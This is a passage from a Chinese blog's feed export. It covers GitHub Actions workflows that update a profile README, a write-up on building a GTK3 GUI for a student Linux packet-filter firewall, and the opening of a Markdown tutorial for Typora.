<figure class="highlight yaml"><table><tbody><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Latest</span> <span class="string">blog</span> <span class="string">post</span> <span class="string">workflow</span></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line"> <span class="attr">schedule:</span> <span class="comment"># 自动运行workflow</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">cron:</span> <span class="string">'0 * * * *'</span> <span class="comment"># 每到整点运行一次</span></span><br><span class="line"> <span class="attr">workflow_dispatch:</span> <span class="comment"># 可以手动在仓库的action中运行workflow</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line"> <span class="attr">update-readme-with-blog:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">Update</span> <span class="string">this</span> <span class="string">repo's</span> <span class="string">README</span> <span class="string">with</span> <span class="string">latest</span> <span class="string">blog</span> <span class="string">posts</span></span><br><span class="line"> <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"> <span class="attr">steps:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Checkout</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Pull</span> <span class="string">in</span> <span class="string">dev.to</span> <span class="string">posts</span></span><br><span class="line"> <span class="attr">uses:</span> <span class="string">gautamkrishnar/blog-post-workflow@master</span></span><br><span class="line"> <span class="attr">with:</span></span><br><span class="line"> <span class="attr">feed_list:</span> <span class="string">"https://bowenyoung.cf/atom.xml"</span></span><br></pre></td></tr></tbody></table></figure>
<p>注意把<code>feed_list</code>后面的网址改成你的RSS链接。</p>
</li>
</ul>
<p>到这里,所有的配置就完成了。如果想手动运行一下看结果,按照下图方法操作:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e765d28b6f.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e765d28b6f.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e765d28b6f.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>如果有其他需求,可以在项目仓库的<code>README.md</code>查看其他参数</p>
<h2 id="添加GitHub活动"><a href="#添加GitHub活动" class="headerlink" title="添加GitHub活动"></a>添加GitHub活动</h2><article class="message is-info"><div class="message-body">
<p>来源:<a href="https://github.com/jamesgeorge007/github-activity-readme">项目仓库</a></p>
</div></article>
<p>效果图:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e752e7ee82.png" data-fancybox="one" data-caption="undefined"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e752e7ee82.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e752e7ee82.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></a><span></span></div></div>
<p>在<code>README.md</code>中需要添加GitHub活动的位置写下<code><!--START_SECTION:activity--></code><br>在<code>.github/workflows/</code>目录下添加<code>update-readme.yml</code>文件(方法见<a href="#way">上一节</a>)<br>复制以下代码进去:</p>
<figure class="highlight yaml"><table><tbody><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Update</span> <span class="string">README</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span></span><br><span class="line"> <span class="attr">schedule:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">cron:</span> <span class="string">'0 * * * *'</span></span><br><span class="line"> <span class="attr">workflow_dispatch:</span></span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line"> <span class="attr">build:</span></span><br><span class="line"> <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">Update</span> <span class="string">this</span> <span class="string">repo's</span> <span class="string">README</span> <span class="string">with</span> <span class="string">recent</span> <span class="string">activity</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">steps:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">jamesgeorge007/github-activity-readme@master</span></span><br><span class="line"> <span class="attr">env:</span></span><br><span class="line"> <span class="attr">GITHUB_TOKEN:</span> <span class="string">${{</span> <span class="string">secrets.GITHUB_TOKEN</span> <span class="string">}}</span></span><br></pre></td></tr></tbody></table></figure>
<p>同样地,可以手动运行对应的workflow看看效果。</p>
<h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><article class="message is-info"><div class="message-header">
<p>参考</p>
</div><div class="message-body">
<p><a href="https://github.com/rzashakeri/beautify-github-profile">beautify-github-profile项目</a></p>
</div></article>
<p>喜欢倒腾的小伙伴可以在该项目的文档中寻找更多有趣的功能实现!</p>
]]></content>
<categories>
<category>前端</category>
</categories>
<tags>
<tag>GitHub</tag>
</tags>
</entry>
<entry>
<title>GTK应用开发小记</title>
<url>/posts/gtk-first/</url>
<content><![CDATA[<p>夏季学期课程的小组作业,是要开发一个基于Linux内核模块的包过滤防火墙。主要有两部分的任务:</p>
<ol>
<li><p>配置程序</p>
<p>运行在应用层,用来配置过滤规则,包括协议类型、IP地址、端口号、开始和结束时间、是否启用规则等。</p>
</li>
<li><p>Linux内核模块</p>
<p>运行在内核层,完成包过滤防火墙的功能,该模块借助注册Netfilter钩子函数的方式来实现对数据包的过滤和控制。</p>
</li>
</ol>
<p>我主要负责了第一部分的任务:开发一个友好的包过滤规则的配置和管理界面(GUI部分,CLI部分由组里另一位同学负责)。支持包过滤的规则导入、导出,添加、编辑、 删除、搜索等功能。应用界面如下:</p>
<div class="tag-plugin swiper-container" width="max"><div class="swiper-wrapper"><div class="swiper-slide"><img no-lazy="" src="https://bu.dusays.com/2023/07/12/64ae07efdadeb.png" alt="日间模式"></div><div class="swiper-slide"><img no-lazy="" src="https://bu.dusays.com/2023/07/12/64ae55e8d7ffb.png" alt="暗黑模式"></div><div class="swiper-slide"><img no-lazy="" src="https://bu.dusays.com/2023/07/12/64ae081b86e69.png" alt="编辑页面"></div><div class="swiper-slide"><img no-lazy="" src="https://bu.dusays.com/2023/07/12/64ae55693dde3.png" alt="关于页面+日志页面"></div></div><div class="swiper-pagination"></div><div class="swiper-button-prev blur"></div><div class="swiper-button-next blur"></div></div>
<p>谈不上好看,但也不至于很丑。</p>
<h2 id="GTK-vs-QT"><a href="#GTK-vs-QT" class="headerlink" title="GTK vs QT"></a>GTK vs QT</h2><p>GTK和QT是非常有名的两个GUI库,当然QT应该是更有名些。GTK和QT的优势对比如下:</p>
<ul>
<li>QT:<ol>
<li>跨平台性:QT是一个跨平台的工具包,可以在多个操作系统上运行,包括Windows、Linux、macOS等。它提供了一致的API,使得开发者可以轻松地编写一次代码,然后在不同的平台上进行部署和运行。</li>
<li>高度集成:QT提供了丰富的组件和工具,涵盖了广泛的应用开发需求,包括图形渲染、网络通信、数据库访问等。它还提供了开发者友好的IDE和调试工具,使得开发过程更加高效。</li>
<li>QML和Qt Quick:QT引入了QML和Qt Quick技术,允许开发者使用声明性语言和组件化的方式来设计和构建用户界面。这种方式简化了UI设计和开发的过程,并提供了良好的可扩展性。</li>
<li>商业支持:QT由The Qt Company开发和维护,提供了商业许可和支持服务。这对于企业级应用开发来说是一个优势,因为他们可以获得专业的技术支持和保障。</li>
</ol>
</li>
<li>GTK:<ol>
<li>开源性:GTK是一个开源工具包,它的代码可以被自由地查看、修改和分发。这对于开源社区和个人开发者来说是一个优势,他们可以根据自己的需求进行自定义和改进。</li>
<li>UNIX哲学:GTK是基于UNIX哲学设计的,它鼓励模块化和简洁的设计。这种设计理念使得GTK在Linux等UNIX-like系统上有着很好的集成和兼容性。</li>
<li>GNOME集成:GTK是GNOME桌面环境的默认工具包,它与GNOME的集成非常紧密。如果你计划开发适用于GNOME桌面环境的应用程序,使用GTK可能更加方便和自然。</li>
<li>多语言支持:GTK支持多种编程语言,包括C、C++、Python等。这使得开发者可以使用自己喜欢的编程语言来进行应用程序的开发。</li>
</ol>
</li>
</ul>
<p>最终我是选择了GTK3进行GUI开发,原因如下:</p>
<ol>
<li>这次开发的防火墙程序是基于Linux内核模块的,所以只能在Linux系统使用,不需要考虑GUI的跨平台。</li>
<li><a href="https://help.gnome.org/users/glade3/">Glade</a>应用提供了GTK应用的UI设计功能,起到和QML、Qt Quick类似的作用。</li>
<li>开源、不需要商业支持。</li>
<li>防火墙属于网络层的应用,不需要太多功能,简洁至上。</li>
<li>在Ubuntu22.04环境下开发,使用GTK接近原生UI。</li>
<li>GTK的默认样式足够好看。</li>
</ol>
<h2 id="GTK-amp-glade学习"><a href="#GTK-amp-glade学习" class="headerlink" title="GTK & glade学习"></a>GTK & glade学习</h2><p>GTK相比QT的一个最大劣势就是文档更少、社区也更不活跃。B站和YouTube搜索QT,有非常多的教程,而GTK相对来说就比较少了。另外GTK4已经问世数年,但是教程大多还是GTK3。之前提到用来设计GTK应用UI的glade,支持的最高GTK版本也是GTK3。</p>
<p>好在对于这样一个简单的GUI应用,只需要入门GTK便可。学习一样工具,我总是喜欢边学边做。因此视频+文档的组合往往是更适合我的。在我学习GTK开发的过程中,主要参考了以下资源:</p>
<ol>
<li><p><a href="https://www.youtube.com/watch?v=g-KDOH_uqPk&list=PLmMgHNtOIstZEvqYJncYUx52n8_OV0uWy">Linux Gtk Glade Programming</a></p>
<p>YouTube上的GTK & glade开发教程,没有涵盖GTK的所有类,但对入门来说够用而且友好。</p>
</li>
<li><p><a href="https://www.cs.uni.edu/~okane/Code/Glade%20Cookbook/">视频中的源代码</a></p>
<p>更多时候我其实是直接看源代码学习,视频节奏有些拖沓,一旦理解GTK和glade是怎样工作的,看代码会是更高效的解决方法。</p>
</li>
<li><p><a href="https://docs.gtk.org/gtk3/">GTK3文档</a></p>
<p>文档很全面,但只有英文。</p>
</li>
<li><p>ChatGPT</p>
<p>文档没写全的、视频没讲到的可以问问GPT。看看思路可以,3.5写出来的代码可能不能直接用。</p>
</li>
</ol>
<h2 id="GTK-amp-glade开发流程"><a href="#GTK-amp-glade开发流程" class="headerlink" title="GTK & glade开发流程"></a>GTK & glade开发流程</h2><p>使用GTK & glade开发,主要是应用UI设计和功能实现分离的思想。</p>
<ol>
<li><p>在glade应用中设计UI</p>
<p>哪里是按钮,哪里需要输入框,哪里需要列表等等,需要提前构思好。</p>
</li>
<li><p>在glade应用中连接信号(signals)</p>
<p>所谓信号,就是当用户与界面发生某种特定的交互时,应用程序便会知悉,并可根据这种信号回调对应的函数、传入特定的数据进行特定的操作。可以在glade中连接信号并指定对应的回调函数,以及需要传入的数据。这样在后续功能实现时,只需将这些函数的功能实现即可,也很好地实现了模块化。</p>
</li>
<li><p>编写GTK代码</p>
<p>主要是实现之前在glade中指定的回调函数。另外,一些用于提示用户的对话框也可以直接用代码生成。</p>
</li>
<li><p>编译程序</p>
<p>在开发阶段,一般从glade文件加载builder(gtk_builder_new_from_file),并使用<code>gcc</code>的<code>-export-dynamic</code>参数。这样一来,修改glade文件后无需重新编译就可以看到新的UI。</p>
<p>而在生产环境中,不能使用上述方法。因为上述方法编译的应用程序需要依赖glade文件运行,而一般用于生产环境的应用程序需要将glade文件一同编译成最后的二进制程序。因此要从资源中加载builder(gtk_builder_new_from_resource)。因此首先要把glade文件编译成资源,这个过程需要用到<code>glib-compile-resources</code>工具。具体方法可以参照<a href="https://www.youtube.com/watch?v=HCCpBtiR46A&list=PLmMgHNtOIstZEvqYJncYUx52n8_OV0uWy&index=33">Linux Gtk Glade Programming Part 34: Embedding resources in your app</a>。</p>
</li>
</ol>
<h2 id="难点"><a href="#难点" class="headerlink" title="难点"></a>难点</h2><ol>
<li><p>TreeView</p>
<p>GTK中的TreeView以及ListBox是非常重要的组件,适合用于用户与系统的数据交互,区别在于TreeView可以有多层父子结构,而ListBox只有单层。</p>
</li>
<li><p>Log功能</p>
<p>Log功能的第一版思想是:每隔一段时间(如1s)监测日志文件的变化,当日志文件大小发生改变时,将新增的内容显示在应用的TextView当中。但是如果使用一个线程,会导致应用要轮流处理与用户的交互和日志文件的监测,而日志文件又需要频繁监测,造成较差的用户体验。因此为监测日志文件变化的功能单独创建一个线程进行处理。</p>
<p>但是线程需要应对一系列互斥与共享的问题,因此我换了一种实现方法。</p>
<p>第二版的思想是:使用<code>GFileMonitor</code>来监测文件的变化,当文件变化时,会发出一个信号,GTK应用能捕捉这个信号并做出相应的处理。</p>
<p><code>GFileMonitor</code> VS 多线程:</p>
<ul>
<li><p>优点:</p>
<ul>
<li>GFileMonitor使用更简单,不需要自己编写多线程逻辑。它提供了文件变化事件的回调接口,只需要关心事件处理逻辑。</li>
<li>GFileMonitor对文件系统事件的处理可能更高效。它基于操作系统提供的文件变化监控机制,不需要频繁地轮询检查文件。</li>
<li>GFileMonitor可以方便地跨平台使用,而自行实现的多线程文件监视可能需要针对不同平台调整。</li>
</ul>
</li>
<li><p>缺点:</p>
<ul>
<li>GFileMonitor的可定制性较低,不能自由控制轮询频率等参数。</li>
<li>GFileMonitor可能不支持监视网络文件系统或一些特殊文件系统。</li>
<li>GFileMonitor基于系统调用,系统开销可能略大于纯用户态的多线程实现。</li>
<li>自行实现的多线程方案可以加入更多自定义逻辑,例如合并事件、缓存等。</li>
</ul>
</li>
</ul>
</li>
</ol>
<h2 id="源代码(完整程序)"><a href="#源代码(完整程序)" class="headerlink" title="源代码(完整程序)"></a>源代码(完整程序)</h2><div class="tag link"><a class="link-card" title="VersaGuard-FireWall" href="https://github.com/BeaCox/VersaGuard-Firewall"><div class="left"><img src="https://github.githubassets.com/favicons/favicon.svg" class="lazyload" data-srcset="https://github.githubassets.com/favicons/favicon.svg" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></div><div class="right"><p class="text">VersaGuard-FireWall</p><p class="url">https://github.com/BeaCox/VersaGuard-Firewall</p></div></a></div>
]]></content>
<categories>
<category>项目</category>
</categories>
<tags>
<tag>C</tag>
<tag>设计</tag>
</tags>
</entry>
<entry>
<title>Markdown基础教程(Typora为例)</title>
<url>/posts/mdLearn/</url>
<content><![CDATA[<h2 id="什么是Markdown"><a href="#什么是Markdown" class="headerlink" title="什么是Markdown"></a>什么是Markdown</h2><p>Markdown是一种轻量级标记语言,易读易写的纯文本格式编写文档。Markdown编写文档后缀为md<span id="more"></span></p>
<h2 id="为什么要用markdown"><a href="#为什么要用markdown" class="headerlink" title="为什么要用markdown"></a>为什么要用markdown</h2><ul>
<li>简单易上手,可读性强。</li>
<li>兼容html,但在排版、链接、标题等写法上都简单许多。本站的博客都是用Markdown编写的。</li>
<li>用途广,如今Github、简书、csdn等许多网站都支持Markdown语法编写</li>
<li>做项目时可以用来编写简洁明了的README.md来介绍功能、用法等</li>
</ul>
<h2 id="Markdown编辑器"><a href="#Markdown编辑器" class="headerlink" title="Markdown编辑器"></a>Markdown编辑器</h2><ul>
<li>Typora <br>个人目前的首选编辑器。可以利用css实现自定义样式;内置LaTex,方便编辑数学公式;可以实时预览。<br>支持MacOS、Windows、Linux。<br>1.0以前的版本免费,之后的版本收费。可以根据需要购买。<br>官网:<a href="https://typora.io/">https://typora.io/</a> 中文站:<a href="https://typoraio.cn/">https://typoraio.cn/</a></li>
<li>VSCode<br>对于码农朋友们来说应该非常熟悉了。<br>可以点击链接在<a href="https://code.visualstudio.com/">官网</a>下载。<br>安装相应的Markdown插件之后就能有不错的Markdown编辑器体验了。<br>这里分享一篇VSCode Markdown插件的教程博客:<a href="https://blog.csdn.net/weixin_39340061/article/details/114940143?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164947719316782092962723%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164947719316782092962723&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-114940143.142%5Ev7%5Econtrol,157%5Ev4%5Econtrol&utm_term=vscode+markdown%E6%8F%92%E4%BB%B6&spm=1018.2226.3001.4187">CSDN博客</a></li>
<li>Notedpad++<br>官网下载地址:<a href="https://notepad-plus-plus.org/downloads/">https://notepad-plus-plus.org/downloads/</a></li>
<li>Notion<br>学生认证可以免费升级,还支持移动端。功能不止于Markdown编辑器,是一款笔记和效率应用。<br>官网下载地址:<a href="https://www.notion.so/">https://www.notion.so/</a></li>
</ul>
<h2 id="开始教程正文"><a href="#开始教程正文" class="headerlink" title="开始教程正文"></a>开始教程正文</h2><h3 id="标题"><a href="#标题" class="headerlink" title="标题"></a>标题</h3><p>Markdown支持6种级别的标签,对应到html就是h1~h6,数字越小,标题等级越高,字体越大。语法如下:</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line"># 一级标题</span><br><span class="line">## 二级标题</span><br><span class="line">### 三级标题</span><br><span class="line">#### 四级标题</span><br><span class="line">##### 五级标题</span><br><span class="line">###### 六级标题</span><br></pre></td></tr></tbody></table></figure>
<p>以上语言的效果如下:</p>
<div galleryflag="" itemscope="" itemtype="http://schema.org/ImageGallery" class="gallery " data-group="one"><div class="fancybox"><a class="fancybox" itemscope="" itemtype="http://schema.org/ImageObject" itemprop="url" href="https://bu.dusays.com/2023/06/18/648e76b13a126.png" data-fancybox="one" data-caption="标题"><img fancybox="" itemprop="contentUrl" src="https://bu.dusays.com/2023/06/18/648e76b13a126.png" class="lazyload" data-srcset="https://bu.dusays.com/2023/06/18/648e76b13a126.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="标题"></a><span class="image-caption">标题</span></div></div>
<h3 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h3><p>语法:<code><!--</code>这里是被注释掉的内容<code>--></code><br>和html中的注释语法是一样的,被注释掉的部分将对读者不可见。写一些注释对你理解自己的文章结构是有好处的。</p>
<h3 id="换行与分段"><a href="#换行与分段" class="headerlink" title="换行与分段"></a>换行与分段</h3><p>换行是两句属于同一段,不在同一行;<br>分段则是两句在不同行、不同段。会比换行有更明显的行间距<br>举例说明:</p>
<p><em>这两句是换行</em><br><em>这两句是换行</em></p>
<p><strong>这两句是分段</strong></p>
<p><strong>这两句是分段</strong></p>
<p>换行:在两句之间加入<code><br></code>或<code><br /></code>实现换行。<br> <em><strong>注:如果你正在使用typora,<code>shift</code>+<code>enter</code>可以换行</strong></em></p>
<p>分段:<code>enter</code></p>
<h3 id="字体"><a href="#字体" class="headerlink" title="字体"></a>字体</h3><p>用*或_包裹一段文字可以用来强调。<br>一对是斜体,两对是加粗,三对是加粗斜体</p>
<figure class="highlight plaintext"><table><tbody><tr><td class="code"><pre><span class="line">*这里是斜体*</span><br><span class="line">_这里是斜体_</span><br><span class="line"></span><br><span class="line">**这里是加粗**</span><br><span class="line">__这里是加粗__</span><br><span class="line"></span><br><span class="line">***这里是加粗斜体***</span><br><span class="line">___这里是加粗斜体___</span><br></pre></td></tr></tbody></table></figure>
<p>以上代码的显示效果如下:</p>
<p><em>这里是斜体</em><br><em>这里是斜体</em></p>